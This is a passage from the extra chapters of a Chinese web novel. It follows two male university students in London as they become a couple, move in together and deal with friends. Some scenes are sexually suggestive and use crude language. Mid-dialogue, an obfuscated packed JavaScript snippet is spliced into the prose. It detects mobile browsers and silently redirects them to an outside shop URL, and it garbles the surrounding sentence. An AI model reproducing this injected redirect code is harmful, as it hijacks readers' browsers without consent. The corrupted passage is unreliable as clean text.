裴与驰很快又补了一句:“我说能接受,就是能接受。” 语气不容反驳。 他说完,把迟铎往怀里又收紧了一点,鼻尖贴着他发顶,声音低低的:“睡觉。” 迟铎没再说话。 裴与驰的手一下一下拍着他的背,拍得很慢,直到他的呼吸慢下来,眼泪也终于停了。 51.如果当时(3)[番外] 半夜,裴与驰被动静惊醒,那一瞬间,他的火气几乎是直接窜上来的。明明腿都已经破皮的人,还在不安分地动。 他一句话都没说,掀被下床,外套一穿,钥匙一抓,转身就走,门关得很响。 下一秒,迟铎的手机亮了一下,置顶的聊天框里,多了两个字:买药。 凌晨四点。 迟铎不知道裴与驰是去哪买的,也不知道这种时间点还能在哪买到。总之,人最后是回来了。 门一开,冷风灌进来。 裴与驰脸色很冷,火气显然还没消。他没看床上已经坐起来的迟铎,先把药放好,又转身进浴室洗手。再出来时,手里多了热毛巾和棉签,动作干脆,没有一句废话。 他把迟铎按住,力道不容拒绝,开始沉默地上药。眉头始终皱着,嘴角抿得很紧,整个人写满了“在生气”三个字。 迟铎试着缓和一下气氛,低声嘀咕了一句:“印度哥们是多啦A梦吗?” 这个点,这药,也就只能在他们那买到了。 没人理他。 裴与驰的动作却很轻,轻得几乎有点过分。棉签带着药膏擦过的时候,先是刺痛,紧接着是一阵清凉和麻木,身体那点难受被一点点压下去。 药上完,垃圾被利索地扔进垃圾桶。裴与驰关上卧室门,转身回来,直接压了下来,距离近得过分,迟铎能清楚地感觉到那份存在感,灼热而不容忽视。 “感受到了吗?”裴与驰低声问。 他没等回答,接着说:“还怀疑我不能接受?” 最后一句压得更低,几乎贴着耳边:“它很好看。” 迟铎整张脸瞬间烧起来,可裴与驰并没有就此停下。像是终于找到一个出口,把这一整晚压着的火气全都往外倒。他说的话越来越露骨,语速却很低,贴得太近,近到迟铎想躲都躲不开。 “肉嘟嘟、很sao、看上去很qian cao” 语言露骨但语气并不带调笑。迟铎听着,突然意识到,裴与驰不是在调情,也不是在故意刺激他,而是在用这种方式,把“我接受”这件事一寸一寸地、近乎粗暴地砸给他看。 迟铎这下是真的信了。至少在这一刻,他彻底相信裴与驰对那个多出来的东西,没有任何排斥。 可念头刚落下,又猛地卡住了,不对。如果对这个有反应,那不就是……异性恋吗?那今晚裴与驰看起来从头到尾都没什么快感,是不是只是因为…… 他还没想完,就被裴与驰的动作打断了。他看了迟铎一眼,立即懂了他在想什么,懒得再解释。他向来不是多话的人。 下一秒,迟铎只觉得天旋地转,被直接翻了过去。动作干脆,目的明确,像是要用最直接的方式,把刚才那点多余的怀疑一并按死。 不是解释,是证明。证明他对迟铎本身有反应,而不是对某个部位、某种分类、某个意外。 “嘶——” 火气没收住,翻过来的力气大了点,迟铎闷哼了一声。 裴与驰的动作立刻停住。那点还没来得及宣泄的怒气像被生生掐断,他俯身下来,声音一下子压低:“哪里痛?” 语气里的着急,比刚才任何一句都明显。 迟铎缓了一会儿,没回答。他慢慢撑起身,动作很小,像怕再牵到哪里。裴与驰本能地伸手去扶,被避开了,可几乎是下一秒,迟铎又靠了过来,准确说,是抱了过来。他贴得很近,额头抵在裴与驰肩上,手臂绕上去,力道不重,像小鸟在主人身上终于找到一个可以落脚的地方,确认不会被推开。 裴与驰明显顿了一下。然后他抬手,把迟铎整个圈进怀里,两人贴得严严实实。 迟铎的呼吸慢慢顺下来,贴在他颈侧,声音闷着:“别证明了。” 裴与驰没说话,只把手臂收紧了一点,过了一会儿,他低声问:“还疼吗?” 迟铎摇了下头,动作很轻,像怕这个回答不够有分量,又补了一句:“现在不疼。” 裴与驰“嗯”了一声,没再多问,只是顺着这个姿势,把人带回床上。被子被拉上来,盖得很严实,他依旧抱着,没有松手。 灯关上,房间陷入一片黑暗。 迟铎躺在他的怀里,理智突然重新上线。 到这里为止,裴与驰做的每一步,他都已经信了。信得很彻底。也正因为这样,那个一直被情绪压着的问题,才慢慢浮出来,他们现在算什么? 没有表白,也没有循序渐进的暧昧。不是慢慢靠近,是在一夜之间越过了所有本该存在的步骤,直接到了现在。 这个念头一冒出来,羞耻感才后知后觉地涌上来。迟铎突然意识到,自己昨晚像是疯了,非要裴与驰给一个证明。 而更疯的是,裴与驰居然真的给了。 证明给了,可下一步呢? 他没说喜欢,裴与驰也没说。 就一个吻,就这样了。 迟铎这才意识到,自己甚至跳过了“思考喜不喜欢裴与驰”这个步骤。不是没答案,而是来不及问自己,就被情绪一路推到这里。现在再回头问,反而显得太晚。 如果不喜欢,今天就该很干脆地告别。送到地铁口,挥手,各走各路。回家,庆祝一个人的独居生活;而不是哭成那样,把人拽进门,拽到连退路都没留。 如果是喜欢被确认得太晚。那他到底是什么时候开始在意的?是最近,还是温切斯特的时候就已经埋下了?是习惯,还是依赖?还是早就越线了,只是没人点破? 他没有答案,甚至不知道该从哪一步开始倒着回想。 房间里很安静,两个人都没动。 事情已经发生了,而他们谁都还没来得及想清楚,这意味着什么。 裴与驰那边也好不到哪去。他一向是想清楚再行动的人,很少反着来。可今晚几乎每一步,都是被推着往前的。不是被迟铎推,而是被某种更早就存在、却一直被他搁置的东西推着。他在心里把今晚从头到尾过了一遍,很冷静地确认了一件事,这不是一时冲动。不然他不会回来、留下,然后一直抱着不松手。 时间一点点过去,夜没有继续往前,也没有真正结束。他们就这样各自消化着,各自沉默着,躺在同一张床上,却都清醒。 后来困意上来,迟铎意识开始发沉。陷入睡眠前,他脑子里最后一个念头,不是算什么,也不是喜欢吗。 而是很简单的一句:明天醒来,他还在吗? 这个念头冒出来的瞬间,他忽然意识到一件事:不管答案是什么,他已经骗不了自己了。 熬了两个夜晚,生物钟彻底作罢,两个人顺理成章地旷了一天课。白天像是被谁按了快进,夜晚却慢得出奇。睡着,醒来,再睡着,再醒来。迟铎睁开眼的时候,窗外的天色依旧是暗的。他盯着那片模糊的夜色看了两秒,心里先是一阵无语。下一秒,才意识到自己还在熟悉的怀抱里。 这个认知来得很轻,却让他下意识地松了一口气。 裴与驰没走。 意识到这一点的瞬间,他自己都愣了一下,随即又有点自嘲,昨晚那些翻来覆去、辗转反侧,好像确实有点矫情了。 都已经这样了,还骗自己干什么。 他在裴与驰怀里动了动,幅度很小,对方没醒,却下意识地收紧了手臂,把他往怀里带了一点。这一点反应,比任何答案都直接,迟铎心里那点最后的别扭,也跟着散了。 前一晚还在拼命要证明,证明来证明去,其实根本不用证明。如果不是在意,裴与驰不会回来;如果不是在意,他现在不会抱着自己。 这个念头像一根线,被人轻轻一拉,所有混乱的情绪就顺着理清了。他不再纠结“算什么”。有些关系一旦跨过去,就不需要命名了。 反正这么多年一直都是这样。 吵归吵,闹归闹。 闹完了,还是天下第一好。 这是他们早就默认的规则。 至于到底是怎么好的,好到哪一步了?迟铎想了想,觉得也不是非要现在搞清楚。 人还在旁边,这就够了。 裴与驰其实醒得比迟铎早。天还没亮透的时候他就已经睁过一次眼,只是没动。怀里的人睡得不算安稳,偶尔会皱眉,又很快贴过来。他顺着本能,把人收紧了一点。 这一点点动作,却让迟铎慢慢安静下来。裴与驰这一刻忽然很清楚,不是昨晚,不是在浴室,甚至不是最近,只是之前一直觉得没必要去确认。 人就在怀里,这就是答案了。 门禁的铃声突兀地响起来,把那点心照不宣的温存硬生生切断。能这样不预约、直接上门按门铃的人,实在不难猜。迟铎是真的用了点意志力,才勉强维持住基本素质,没在裴与驰伸手的时候直接把人按住说“别开”。 门一开,果不其然。 周淮那张丑脸站在门口,拎着一堆外卖,笑得毫无自觉。 行吧。 那张大众脸。 念在他瞌睡正好遇上枕头的份上,先不计较。 “哥哥们。”周淮语气放得很低,狗腿得十分熟练,一看就是来赔罪的,“没吃饭吧?这家酒楼的菜挺不错的。” 迟铎因为一些难以言说、但又十分具体的原因,已经缓慢挪到了客厅。周淮一眼扫过去,只觉得这俩人刚起床的状态十分明显,尤其迟铎一副游魂的样子,自动在心里给剧情补全,大概是之前喝太狠,迟铎把自己喝伤了,挂他电话也是情绪不稳,现在好不容易缓过来。 于是他更加热情了。也没等主人表态,直接拎着袋子进门,动作一气呵成,把菜往餐桌上一样样摆开,仿佛这是他自己家。 裴与驰没说什么。他走到沙发旁边,弯腰,手一伸,直接把迟铎打横抱了起来。 迟铎:“……” 周淮:“……” 空气安静了一秒。 两个人都被震惊到一时没能说话,但想的东西不在一个频道。 周淮盯着迟铎的脸色看了两眼,莫名品出了一点“从鬼门关走了一趟”的萧瑟感,心里一惊,开始迅速自我反省。不会吧?不会真是我那天酒仙附体,把人喝进医院,今天才刚出院吧? 迟铎这边,一时间也说不清自己是什么感觉。理智上,他其实早就习惯了裴与驰这样照顾他;但如果现在再用“兄弟”去解释,就显得哪里都不太对。伤的理由变得难以开口,连这个姿势,也像是他们从前从没真正试过的那种。 更尴尬的是,他甚至一时想不出一个合理的需要被这么抱着的理由。这要怎么解释?迟铎难得卡壳,整个人被抱着,进退两难。 幸好周淮堪称脑补天才,几乎不用任何提示,就已经在心里把整条剧情补完了。很快,他就坦然接受了一个结论,自己酒仙附体,把自家兄弟给喝伤了。 “哎呀,迟哥。”周淮立刻进入伏低做小模式,语气里带着点欠揍的讨好,“都怪我,都怪我,光按着自己的水平来了,没顾着你,是我的问题。” 迟铎:“……” 行吧。 酒量差这个理由,比真实原因好接受太多了。他面无表情地忍下了周淮那张自我感动的丑脸,默默放弃了纠正的念头。 兄弟们吃上了他带来的饭,那就等于默认接受道歉了。周淮立刻得寸进尺,嘴欠属性全面回归。“迟铎。”他语气忽然变得很诚恳,“哥们就问一次,真的。” 迟铎眼皮一跳,直觉告诉他后面没好话。 果然。 “你这几年到底为哪朵花儿停留过?”周淮一脸认真,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013778|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我都不要名字了,就说咋停留的。” 迟铎被他来来回回问得头疼,下意识就想丢一句“母单”,话到嘴边却硬生生刹住了。 他忽然意识到,裴与驰就坐在旁边。要是让他知道,自己这么多年真的有且只有过他,而他万一又是那种看着正经、私下却很会玩的人呢? 这个念头一冒出来,他自己都觉得有点荒唐。他们俩二十四小时几乎黏在一起,裴与驰到底是怎么做到避开他、还能抽空去“作案”的? 理智这么想,心里那点不合时宜的别扭却没下去。那点说不清道不明的不爽,也跟着浮了上来。 他没再犹豫,随口抛了一个:“就上学期有一个吧,瑞典人,金发碧眼的。”信息给得很克制,性别也没提。 周淮眼睛一亮:“卧槽,北欧美女?可以啊迟哥。” 迟铎没接话,只低头夹了口菜,算是默认。 周淮已经彻底进了瓜田,上蹿下跳:“长得怎么样啊?多高?” “还行吧。”迟铎说,“178左右。” “我操!”周淮一拍桌子,“名模啊!这种级别的美女你咋没继续?” “试过了。”迟铎语气很淡,“不合适。” 话说得很委婉,但该懂的都懂了。周淮听到这一步,已经心满意足,仿佛人生阶段性圆满。为了投桃报李,他顺势又把话题拉回自己身上,开始滔滔不绝地讲他的感情史。迟铎被迫听着,恨不得把豆沙包塞他嘴里。 裴与驰一直没说话。他靠在那儿,手机亮着,偶尔划一下,像是真的对这段谈话提不起兴趣。神情也没什么变化,和平时没两样。 迟铎也没察觉出不对。直到周淮被赶走,门合上,屋子里彻底安静下来。 他转身的时候,才发现裴与驰已经把外套穿好了。 “……你去哪?” 迟铎下意识问。 “没换洗衣服。” 言下之意去酒店也好,去别的地方也好,反正不是继续待在这儿。 “我陪你。” 迟铎几乎是脱口而出,连想都没想。话说得很自然,潜台词却一点都不藏:赶紧把裴与驰行李拎回家。 裴与驰没立刻接话,他转过头,看向迟铎,目光在他脸上停了一瞬,像是在确认什么,又像是在重新评估。下一秒,他抬手,掐住迟铎的下巴。力道一点没收,逼着他抬起头。 “刚才那个,”裴与驰开口,声音压得很低,“你说的瑞典人。” 迟铎一愣。 裴与驰盯着他,眼神很平静,语气却很冷漠:“你让他碰过?” 迟铎没立刻回答。 就是这一秒的停顿,像是点燃了什么。 裴与驰的表情没变,手上的力道却明显收紧了一点:“用哪?b?” 他盯着迟铎,没有移开视线,又补了一句:“你最好别骗我。” 迟铎这才反应过来,他在问什么。 谎已经撒出口了,现在再撤回,反而更像此地无银三百两。可他从没见过裴与驰这样,很安静、却明显在往下压火。他甚至有种直觉,只要自己再说一句含糊不清的,对方下一秒就会真的走。 “我编的。”迟铎没再绕,利索地承认,“糊弄周淮的。” 裴与驰盯着他,没立刻接话。 “我说了。”他终于开口,“别撒谎。” 迟铎一时竟有点百口莫辩。他这才意识到,自己刚才随口编的那几句有多糟糕。太轻佻,太像那种无关紧要的露水情缘,连个像样的细节都没有。现在再解释,反倒更像是在遮掩。 他上辈子是不是挖了周淮祖坟,这辈子才会被他翻来覆去坑。 而裴与驰显然已经不打算继续听解释。他松开手,外套拉链被拉到一半,金属声在房间里响得很清晰。也响在迟铎神经上,他被逼得有点急了,“除了你,还有谁?” 话几乎是脱口而出,连退路都没留。 “我随口说的,是因为——”他停了一下,声音低下来,“我不想显得只有我一个人在意。” 屋里安静下来。 裴与驰没立刻接话。 他站在那儿,外套已经穿好,手机拿在在手里,却没再往门口走。那点要走的架势,像是被什么硬生生按住了。 他转过身,看向迟铎:“你觉得我没在意?” 迟铎没回答。 裴与驰看着他,声音低下来,很轻,却很确定:“我也是。” 没有解释,也没有补充,迟铎却听懂了。 那不是承诺,是事实。 两个人都没再说话。刚才那点紧绷,在这一刻慢慢松下来,像终于确认了一件早就心知肚明、却一直没人敢先说的事。 只有彼此,一直都是。 裴与驰没再说话,也没追问什么。他把外套拉链重新拉下,手指停了一下,又干脆利落地把外套脱下来,随手搭在椅背上。像是刚才那点要走的念头,从一开始就没真正站稳。 迟铎看着他这个动作,心里那根一直绷着的弦,终于松了一点。 我有外套。” 迟铎还是把这句话说出了口,像是提前把某个借口堵上。 “东西多久搬回来?” 迟铎继续,问得很认真。不搬回来,裴与驰要走的理由太多了。 裴与驰看了他一眼,答非所问:“全部都在旁边的酒店。” 迟铎皱了下眉:“你准备一直住酒店?” “也许吧。” 裴与驰顿了一下,透露了他之前的安排:“万一你很快回心转意呢。” 那一刻,他确实是这么想的。 迟铎:“……” 迟铎忽然有点恨自己这张嘴,早知道是这样,昨天那几个小时的路,根本就不该走。 52.第 53 章[番外] 裴与驰的行李第二天一大早就搬回了公寓,早到裴与驰还没出门上课,东西就已经送到了楼下。迟铎嫌本地搬家公司上班太晚,干脆找了华人团队,钱给到位,效率自然到位。 箱子开合的声音在屋里此起彼伏,像把那段搬出去的、极其短暂的空白,一格一格填了回去。衣服进衣柜,鞋回鞋架,书按原来的顺序插回书架,连桌上那盏台灯的位置都没偏一公分。 迟铎站在一旁看了一会儿,心里那点因为“裴与驰搬出去”而悬着的东西,总算落回去一点。可视线落到卧室门口的时候,他忽然意识到,现在又多出一个更要命的问题。 睡哪? 怎么睡? 公寓是3b3b,两间卧室一模一样。当初租的时候特意没要家具,所有东西都是他们两个人一起挑、一起装的。不存在谁的房间更像主卧,也没有顺手改成书房的借口。 可要是分开睡,算什么? 算退回去。算昨晚那些话、那些抱、那些被按住不让乱动的瞬间,全当没发生。算他把裴与驰哄回来,又亲手把人推走,只不过推得更体面一点。 迟铎喉结滚了一下,心里骂了声操。 他可以嘴硬,可以装作无所谓,但他很清楚自己最怕的是什么: 怕裴与驰一松手,他就又被放回那个好兄弟的位置,安全、体面,却永远隔着一层。 他不要那层。 可问题是,如果他主动开口,会不会被当成别的意思? 毕竟昨天,是他先动的手;是他没给裴与驰反应的时间,直接把人扯进了房间。 这一步走得太急,后面很多事就都得跟着重新算。 迟铎啧了一声,心里却一点没轻松,想来想去,绕不开的还是同一个人。舌尖抵了下后槽牙,又骂了句操:真的变得好麻烦。 最后他把这一切,毫不犹豫地算在了周淮头上。 周淮真的有病。 周淮有病这件事想明白了,问题也没跟着消失。迟铎心事重重地去上课,上完收拾东西一抬眼,就看见裴与驰。裴与驰站在教室门口,目光落在他身上,像早就等了一会儿。 迟铎心里一跳,赶紧快步走过去:“你怎么来了?” “吃饭。” 迟铎看了眼课表,又想了想裴与驰的课,他今天确实只有上午那一节。 “行,走。” 一问一答,像把一切都拽回了熟悉的节奏里。两人并肩往外走。楼道里人多,迟铎习惯性快半步,裴与驰跟着,步子不急不慢,像很多年都是这样。 迟铎那句“你想吃什么”还没问出口,伦敦又又又下起了雨。他抬了下手,几乎是条件反射地拽住裴与驰的袖口,把那不紧不慢的人往外带——走快点。像从很多年前开始就这样,不讲道理,但从来有效。 结果下一秒,裴与驰反手扣住他的手腕,指腹一压,直接把他的手牵过去,十指一扣,稳稳牵在了一起。掌心的温度立刻传过来,顺着指缝一路往上窜。 迟铎:“……” 他是不是适应得太好了?可转念一想,比起自己昨天那一堆表现,这真不算什么。 迟铎僵了半秒,干脆装死,任由两只手就这么牵着。 走廊里人来人往,视线却齐刷刷拐了个弯。 迟铎被看得头皮发麻,偏偏裴与驰泰然自若,像没察觉似的,甚至还微微偏头问他一句:“走吗?” 迟铎停了一秒,指尖下意识蜷了下,像想把手抽回来,下一秒又硬生生忍住。指尖悄悄收拢,把那只手扣得更牢。 “走。” 他被牵着往前走,步子倒是没乱,只是心跳有点不听使唤。 还是那家 omakase。迟铎一边往里走,一边莫名觉得自己和裴与驰可能是什么鲨鱼精——只不过建国后不许成精,只好化作人类。这时间来得早,吧台一共七个位置,今天只坐了他们两个。他们俩像这家店固定刷新的NPC。来得多了,老板和老板娘也就熟了,见他们进门照例笑着招呼两句,寿司捏着、话聊着,一顿就这么过去。 结果这次刚把外套挂上,老板娘看了他们一眼,笑意更深,开口第一句却是:“恭喜啊。”没有任何试探,也没有半点疑惑。那句“恭喜”说得太笃定,像终于等到这点暧昧被摆到了明面上。 “谢谢。”裴与驰应得十分自然,仿佛在讲伦敦糟糕的天气。 迟铎:“……谢谢。” 他把这两个字硬挤出来,心里惊讶得要命:老板娘是有什么读心术吗? 这种座位少的 omakase 本来就像深夜食堂:老板有酒,食客有故事。熟客来久了,故事不一定会说出口,可一举一动骗不了人。相携而来的食客是离心、是倦怠,还是正陷在热恋里,她往往不用听他们讲故事,饭吃到一半就懂了。 这两位就更明显,也更特别。 不是急着占有的热烈,也不是精心计算的靠近。更像一种生理性的偏向:身体先一步认了人,心还没来得及给它起名字。 没有刻意的撩拨,也没掺杂太多欲望。对方在身边就刚刚好;不在,就会下意识去找,找到才算停。像小狗一样黏人,却都不承认。 嘴上说的是“顺路”“习惯”“正好”,可伞会往那边偏,脚步会拐回去,手也会先伸出去。仿佛只要把人留在身侧,一切就都对了。 以往他们从进门到落座,都没怎么说话,空气却一直被对方占着。外套递过去,椅子顺手拉开,筷子抬起又停住……做完才各自回神,随即又当成只是顺手。 没想过要避人,也没想过要承认。 可旁人一眼就懂,连老板娘都看得有点替他们着急。她不是没想过点破。有几次,话都到嘴边了。可她看着这俩人那种理直气壮地只装得下对方的样子,最后还是把话咽回去了。 这种不自知地把对方放在第一位、又认真得过分的纯情,太难得了。像阳光下的湖面,风一吹,晃一下就好看得要命。 她只在心里轻轻感叹了一句:这就是青春啊。 迟铎低头喝茶,耳尖却慢慢红了。 老板娘深知,那句“恭喜”已经是对这段浪漫边界最轻的一次触碰。再往前一步,就不美了。 停在这里,刚刚好。 于是她笑着把话题轻轻带开,又绕回伦敦的雨,今天的鱼获,以及新进的配酒。 一顿饭下来,伦敦的雨还没停。叫的车停在路口,离店门口还有一小段。裴与驰把外套一抬,往两人头顶一罩。迟铎几乎是下意识就钻了进去,肩膀挤着肩膀,雨声被挡在外面。 “我这外套不能碰水。” 钻得利索,钻完还要发表抗议。 偏偏裴与驰今天上课来不及,穿的还是迟铎的外套。要搁以前,遮雨的多半都是裴与驰那些不能水洗、不能机洗、不能干洗的昂贵外套们,他照样抬起来就罩,眉头都不皱一下,也不见迟铎发表半句意见。 如今轮到裴与驰穿着他的,迟铎倒像终于逮着了机会,嘴一张就收不住。 裴与驰侧头看了迟铎一眼,眼神明晃晃写着:话怎么这么多。 下一秒,他干脆把外套往自己头上一扣,直接宣布散伙:“行,你自便。” 说完就要往前走。 下一秒就被伸手拽住袖口,迟铎改口改得飞快:“……偶尔沾点水也没事。” 裴与驰被拽得停住,没说什么,只顺势把外套重新抬起来,稳稳罩回两个人头顶。 迟铎嘴上还在凶:“走快点,车等着呢。” 可他们谁都没提“各遮各的”这种选项。外套抬起的那一瞬间,就默认只能挤在一起。 回到家,外套大概率是报废了,两个人也没好到哪去。落汤鸡本能就是要去洗澡。 迟铎刚抬脚,脑子却突然拐了个弯:要是裴与驰很自然地回他自己房间洗,那不就很自然地躺回他那张床? 早上那点胡思乱想又绕回来了。 可两个落汤鸡,总不能逮着一个浴室排队薅吧。公寓是3b3b,三个浴室摆在那儿,像在嘲笑他自作多情。 另一个当事人倒是没这么多愁善感。裴与驰把迟铎往浴室里一推,手都没停,转身就回自己房间洗澡去了。 迟铎:“……” 当初怎么就没想到租个1b1b呢? 迟铎就这样一边恨迟了了生活费给得太宽松,一边洗完了澡。还没打开门就听见自己卧室有动静。 他推门一看,裴与驰在搬家。 搬得很随意,也很有效率:迟铎衣柜里几件裴与驰早就看不下去的衣服,被他一把拎出来往旁边一丢,下一秒,他自己的卫衣、衬衫就挂了进去。 迟铎:“……” 看见迟铎出来,裴与驰回头扫了他一眼,像是还挺贴心地给了另一个选项: “还是你想睡我那边?” 说完还顺带把迟铎的房间打量了一圈,眼神里写满了品味堪忧。瞧不上得很明显。 迟铎还没来得及跳脚,桌上那排从欧洲中古店辛辛苦苦收来的古董瓷娃娃,就被他一个接一个往外送。 迟铎眼皮一跳:“你干嘛?” “占位置。”裴与驰说完,像是遭受了某种眼神污染,实在忍无可忍,又补了一刀,“而且太丑。” 迟铎:“……” 紧接着,笔电、平板、两本厚得能砸死人的资料册,还有一沓夹着便签的文件,被他理直气壮地往桌上一摞。屏幕还亮着,Gmail提示不断弹出,日程提醒密密麻麻排在桌面上。 迟铎盯着那堆 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裴与驰不为所动,语气理直气壮得离谱:“检查好了没有。” 话音未落,他就把人按住,干脆利落地把腿分开。 迟铎:“……” 裴与驰的注意力却很集中,像在确认某个结果。确认完了,他终于停下,退开半寸,像任务完成。 然后,理智回笼 尴尬这才姗姗来迟,像晚到的潮水一样在房间里漫开。 一个是极度震惊、极度无语、极度尴尬;一个是前一秒还理直气壮,后一秒才后知后觉地意识到自己刚刚干了什么。 两个人都没说话。 啪——灯突然被关掉。 “……睡吧。”上手的人终于开口,声音有点哑,像把一切都按进黑暗里就能当没发生。 “……嗯。”迟铎也没再追究,像同样决定装死到底。 于是,这种过山车一样的心情,一路持续到了第三个晚上。 两人在黑暗里躺尸了一秒,又一秒。再下一秒,谁也没再动,太累了。睡意像潮水,连尴尬都来不及吞咽,两人就被直接卷走。 也不知道什么时候开始的,他们又睡回了这两晚的姿势。迟铎被裴与驰牢牢地抱在怀里,贴得不留缝隙。 后半夜,迟铎迷迷糊糊地被什么硌醒了一下,硬得让他皱眉,他没睁眼,只本能地往后摸了一下。 一摸,整个人瞬间清醒。 迟铎:“……” 他脑子空白了半秒,紧接着就被一种更荒谬的想法顶了上来:都这样了,摸都摸了,总不能当没发生吧?而且……他好像也不太舒服。 算了。 好兄弟帮一帮。 而且还不止是好兄弟。 于是迟铎硬着头皮,试探性地动了一下。动作笨得要命,完全不熟练,连他自己都能感觉出来是在瞎摸。还没等他进入状态,开始发挥,身后的人忽然醒了。 先是一声带着困意的气音,接着是一句低低的、极不耐烦的问话,语气像被吵醒了: “你在干什么?” 火气很重地又补了一句:“b痒了?” 语言露骨到底,思想滑坡到底。 迟铎:“……” 不是,哥们。 你就不能装睡吗?一个人尴尬多省事。 非要我们两个人一起尴尬。 迟铎僵在原地,进退两难。继续不是,停下也不是,整个人就卡在那里。更要命的是手也没来得及移开,像被当场抓了现行。 可裴与驰偏偏没放过他,自己去找那句问话的答案 他直接手伸进……,摸了下两……之间,似乎是在确认到底自己是需要上工还是继续睡。 确认完毕,他贴心的把迟铎无处安放的手抬起来,十指一扣,牵住。 “睡觉。”像命令,又像给他们俩留点体面。 迟铎:“……” 他想抽回去,最后却只是把脸埋进枕头里,闷闷地应了一声:“……嗯。” 裴与驰这边: 他其实是被不舒服弄醒的。醒来第一秒还以为自己在做梦,第二秒才意识到发生了什么。 裴与驰:“……” 他忍了又忍。 倒不是忍耐力多好,多正人君子。是他一时没搞清楚迟铎到底什么意思:是故意勾引,还是纯粹脑子短路。 再忍一秒他就明白了,不是勾引,是真单纯想帮忙——发疯了。 可偏偏那点毫无章法的帮忙又确实让人更难受,难受到他甚至开始理性评估:再继续下去,自己会不会以一种很丢人的理由进医院。 裴与驰终于没忍住。 53.如果当时(5)[番外] “同居生活”正式拉开序幕。 虽然以前也叫同居,但York和New York显然不是一回事。以前是合租室友,现在叫无证婚姻。天天睡一张床,距离近到迟铎随手一伸,就能把他那点三脚猫按摩技巧全用上。至于裴与驰是享受,还是随时准备拨NHS急救,别问。 但除此之外,好像也没太多变化,日子还是跟以前一样过:上完课,各忙各的,事情做完再碰头。走在一起仍然是并肩,偶尔搂肩、搭脖子。只是有些时候,手会很自然地滑下来,改成十指紧扣。 他们也没刻意避人。但除了看图说话的外国同学,国内来的同学一致认定,这就是直男们新的小把戏,边界暧昧得像随时在谈,却又理直气壮地说“我们直男就这样啊”。 甚至有些柜门早飞掉的同学看得一脸痛并快乐着,忍不住感叹:这就是他这么多年兜兜转转都会爱上直男的原因。你看这两个直男的小把戏,多纯爱,多让人心跳,让人明知道是劫也要义无反顾往里跳。直男劫啊,直男劫。难渡。 第一个意识到不对的是Samuel李。 伦敦二代移民,他们的高中同学。未来的设计师品牌新星——现在正被伦艺最难进的男装设计折磨得体无完肤。 迟铎一直给Samuel当fitting模特。无偿的。 Samuel当然不是没想过给钱,甚至认真开过价,用的是自己的奖学金,数目远超行业标准,还把话说得很重:“是朋友就别让我欠人情。” 可迟铎每次都一句:“不要。” 就这两个字,落到Samuel耳朵里,他居然也会没出息地闪过一个念头:不要钱的话,那我是不是还有点机会?下一秒又觉得可笑,想什么呢。 迟铎给的理由倒很正当:“你给我搞穿搭搞帅点,我好学。” Samuel表面翻白眼,手却很诚实。理论上模特只是衣架,他该把心思放在衣服上,可他一次次失控,盯着迟铎的肩线、锁骨、腰身改版、重裁、推翻,像不是在做衣服,而是在给一个被偏爱的人做私人定制。久而久之,他的创作变成了一种不肯承认的偏心:衣服重要,衣架更重要。 那段时间迟铎很爱Hedi,爱Dior Homme里那种颓废瘦削。至于为什么,他讲不出什么理念,只会很直白地总结:“小众。很帅。”再补一句:“刚好我塞得进Dior Homme的牛仔裤。” 于是同学、甚至教授都开始点评:他现在越来越有Hedi味道,还鼓励他努力点,争取去做Hedi的助手。Samuel听着想笑,却笑不出来。只有他自己知道,那不是致敬,是他被一句“喜欢”牵着走。 他的工作室在东区的砖巷里,小得可怜,破得要命。一侧挤着缝纫机和布料,版型纸、样衣、线轴堆得到处都是,设计图纸铺在桌面、钉在墙上;另一侧用最便宜的支架和白布搭了个简易布景,硬生生凑出一个摄影棚。灯一开,亮得刺眼,却足够把迟铎的好看照得清清楚楚。 这天一直弄到很晚。特殊面料穿脱麻烦,拍摄结束,Samuel帮着一起把衣服换下来。手指从领口绕到后颈的时候,他忽然停住了。 迟铎后脖有一道痕迹。不像失控留下的,更像是被人贴上去,温存了一会儿。 Samuel没问,也很快移开了视线。 果然不是他。 这个念头刚落下,另一个更没出息的念头就冒了出来:那会是谁? 其实他一直没太确定迟铎的性向。这也是他始终没告白的原因——如果连性向都没对上,说出口只会显得不合时宜,甚至冒犯。 可他又总会在某些瞬间留下点不该有的幻想。比如迟铎和某个同性相处时,边界会变得模糊;语气会软下来;那种理直气壮的依赖,怎么看都不像对普通朋友。 就在这时,迟铎已经换回自己的衣服,低头拨通了电话。 “人呢?”语气毫不客气,像默认对方早该就位。 不知道对面回了什么,他又皱眉补了一句:“我都弄完了,你还没到?”语气带着理所应当地责怪。 Samuel 站在一旁,手里还捏着刚收好的衣服。 念头像终于绕完了一圈,停在了同一个名字上。 裴与驰。 原来如此。 迟铎从来不是不懂依赖,他只是从来不用在自己身上。 他们一起下楼的时候,裴与驰正好从门口走进来,手里拎着两个牛皮纸袋。迟铎一眼就看见了,刚准备先发制人,就被裴与驰一句冷淡的“怪谁”噎了回去。 裴与驰把其中一个袋子递过去:“你点的。” 味道一闻就知道是Dishoom。这家网红餐厅六点就开始排长队,不接受预约,外带也只能一起等。 Samuel有点出神。裴与驰实在不像会为了吃的等这么久的人,可迟铎嘴里那些顺便的东西,好像从来都不顺便。 迟铎接过袋子,小声嘀咕了一句什么。 裴与驰看了他一眼,语气也不耐烦:“吃还堵不住你的嘴?” 说完他才把另一个袋子递给Samuel,语气很正常,也很客气:“给你的。” Samuel 愣了一下,接过来:“……谢谢。” 迟铎刚被噎完,又开始得寸进尺:“你不会顺便再带他们家的——”话说到一半,看了眼裴与驰的脸色,立刻顺滑改口:“算了,其实可乐更解腻。走吧,陪我去买。” 裴与驰没说行不行,只抬了下下巴。 于是他们就这样和 Samuel 分道扬镳。迟铎一边走还一边非要喂裴与驰吃一口。 Samuel低头看了眼手里的纸袋,心里倒也说不上难受。他的两位高中同学对他都挺有义气,只是那份偏爱,从来都独属于彼此。 使唤完裴与驰、又吃喝饱足的迟铎,愧疚感短暂上线:不然下次不好使唤。 